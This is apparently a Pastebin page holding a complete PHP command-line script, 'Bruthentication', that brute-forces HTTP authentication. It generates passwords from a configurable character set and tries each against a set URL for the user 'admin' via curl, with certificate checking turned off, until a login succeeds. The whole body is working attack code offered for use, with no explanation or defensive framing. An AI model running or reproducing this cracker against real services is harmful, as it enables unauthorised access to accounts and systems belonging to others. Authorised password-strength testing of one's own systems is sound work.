Advertisement
FlyFar

Bruthentication - HTTP authentication CLI brute force script written in PHP

Jul 4th, 2023
691
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.91 KB | Cybersecurity | 0 0
  1. <?php
  2.     define("URL","http://127.0.0.1/index.html");
  3.     define("AUTH_USER","admin");
  4.     define("TIMEOUT",30);
  5.     define("LOWERCASE",TRUE);
  6.     define("NUMBERS",FALSE);
  7.     define("UPPERCASE",FALSE);
  8.     define("SPECIALCHARS",FALSE);
  9.     define("VERBOSE",TRUE);
  10.     define("DEBUG",TRUE);
  11.     /* END CONFIG.... START CRACKING */
  12.  
  13.     $charset = "";
  14.     if(LOWERCASE) $charset .= "abcdefghijklmnopqrstuvwxyz";
  15.     if(NUMBERS) $charset .= "0123456789";
  16.     if(UPPERCASE) $charset .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  17.     if(SPECIALCHARS) $charset .= "~`!@#$%^&*()-_\/'\";:,.+=<>? ";
  18.     $base = strlen($charset);
  19.     $found = 0;
  20.     $maxdigit = 0;
  21.     $charattempt = array(); //little endian
  22.     $charattempt[0] = 0;
  23.     while(!$found){
  24.         $auth_pass = "";
  25.         for($i=0;$i<=$maxdigit;$i++){
  26.             if($charattempt[$i] >= ($base-1)){
  27.                 if($i==$maxdigit){
  28.                     $maxdigit++;
  29.                     $charattempt[$i]=0;
  30.                     $charattempt[$i+1]=0;
  31.                     $auth_pass .= $charset[$charattempt[$i]];
  32.                     $auth_pass .= $charset[$charattempt[$i+1]];
  33.                     break;
  34.                 }
  35.                 else{
  36.                     $charattempt[$i]=0;
  37.                     ++$charattempt[$i+1];
  38.                     $auth_pass .= $charset[$charattempt[$i]];
  39.                 }
  40.             }
  41.             else{
  42.                 if($i==0) ++$charattempt[$i];
  43.                 $auth_pass .= $charset[$charattempt[$i]];
  44.             }
  45.         }
  46.         $auth_pass = strrev($auth_pass);
  47.         if(DEBUG){
  48.             echo $auth_pass."\n";
  49.         }
  50.         else{
  51.             $ch = curl_init();
  52.             curl_setopt($ch, CURLOPT_URL, URL);
  53.             //curl_setopt($ch, CURLOPT_HEADER, 0);
  54.             //curl_setopt($ch, CURLOPT_USERAGENT, $ua);
  55.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  56.             curl_setopt($ch, CURLOPT_FAILONERROR, 1); // Fail on HTTP code >= 400.
  57.             curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  58.             if(AUTH_USER || $auth_pass)
  59.             {
  60.                 curl_setopt($ch, CURLOPT_USERPWD, AUTH_USER.":".$auth_pass);
  61.                 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
  62.             }
  63.             if(TIMEOUT){
  64.                 curl_setopt($ch, CURLOPT_TIMEOUT, TIMEOUT); // Timeout for entire call.
  65.                 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
  66.             }
  67.             // To follow 302 redirects:
  68.             // curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  69.             // curl_setopt($ch, CURLOPT_MAXREDIRS, 100);
  70.             $contents = curl_exec($ch);
  71.             if($error = curl_error($ch))
  72.             {
  73.                 if(VERBOSE) echo "tried: ".$auth_pass."\n";
  74.             }
  75.             else{
  76.                 $found = 1;
  77.                 echo "found: ".$auth_pass."\n";
  78.             }
  79.             curl_close($ch);
  80.         }
  81.     }
  82. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement